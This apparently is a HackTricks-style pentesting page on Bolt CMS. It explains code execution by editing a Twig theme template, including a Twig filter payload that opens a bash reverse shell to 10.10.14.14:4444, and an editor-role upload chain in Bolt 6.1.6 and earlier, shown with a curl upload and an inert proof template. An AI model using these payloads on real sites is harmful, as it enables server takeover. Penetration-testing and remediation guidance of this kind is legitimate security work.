// HackTricks · Network Services

Bolt CMS

Bolt CMS

Code execution through template editing

An administrator who can edit the active theme may be able to obtain code execution by inserting a dangerous Twig expression into a rendered template. This depends on the Bolt/Twig version and on which functions or filters the installation exposes; verify the configuration rather than assuming that the example payload is supported. Bolt themes consist of Twig templates, with index.twig normally serving as the home-page template.[1]

  1. Sign in to the Bolt back end, normally at /bolt.
  2. Select Configuration → View Configuration → Main Configuration, or browse to /bolt/file-edit/config?file=/bolt/config.yaml where that legacy editor route is enabled.
  3. Record the configured theme name.[2]
Bolt CMS configuration editor showing the active theme
Identifying the active Bolt theme.
  1. Open File management → View & edit templates, select the active theme (for example, base-2021), and edit a template that will be rendered, such as index.twig. On affected versions, the route may resemble /bolt/file-edit/themes?file=/base-2021/index.twig.

  2. Insert an authorized Twig server-side template injection test and save the template. For example, if the PHP system callback is exposed through Twig’s filter filter, the following expression attempts a reverse shell:

    {{ ['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"'] | filter('system') }}
Bolt CMS theme editor with a Twig template selected
Editing a template in the active theme.
  1. Select Maintenance → Clear the cache, then request the modified page. Bolt notes that configuration or template-related changes may require a cache clear before they become visible.[2]

[!WARNING] Template editing changes application files and can affect every visitor. Back up the original template, use a benign proof first, and restore the file immediately after testing.

ROLE_EDITOR async-upload to template execution (Bolt 6.1.6 and earlier)

Bolt 6.1.6 and earlier allowed an authenticated user with ROLE_EDITOR to upload a .twig file into the active theme through the asynchronous upload controller and then select that file in an editable record’s templateselect field. Rendering the record evaluates the attacker-controlled Twig with the web-server user’s privileges. Bolt 6.1.7 fixed the chain by enforcing the location-specific managefiles:<location> permission; it is distinct from the administrator-only template editor technique above.[3][4]

The chain requires all of the following.[3][4]

  • Valid editor credentials with the generic upload permission.
  • twig in accept_file_types and a writable active-theme directory.
  • An editable ContentType containing a templateselect field.
  • The active theme name and, when configured, its template_directory.

The following workflow verifies the chain with an inert payload.[3][4]

  1. From a normal file/image upload widget available to the editor, capture the session cookie and the _csrf_token generated for upload.

  2. Create an inert template first, for example poc.twig containing BOLT-TWIG-{{ 7 * 7 }}.

  3. Replay the multipart upload while changing the destination to the theme location. The backend prefix defaults to /bolt but is configurable:

    curl -sS -b cookies.txt \
      -F "_csrf_token=$TOKEN" \
      -F "file=@poc.twig;type=text/plain" \
      'https://target.example/bolt/async/upload?location=themes&path=base-2021'
  4. Edit a permitted record, choose poc.twig in its template-select field, save it, and request or preview the public record. A response containing BOLT-TWIG-49 proves controlled template evaluation; only then use an authorized payload from the Twig SSTI page.

  5. Restore the record’s original template selection and remove the uploaded file.

The vulnerable controller validates the upload CSRF token, constrains path to the selected location, and applies the configured extension/size rules, but it did not authorize the caller for the requested location. Therefore, an invalid-token or disallowed-extension response does not establish that the authorization flaw is fixed. Retest with a valid token and inert allowed file: Bolt 6.1.7 or a backport should reject an editor that lacks managefiles:themes before writing to the theme.[3][4]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.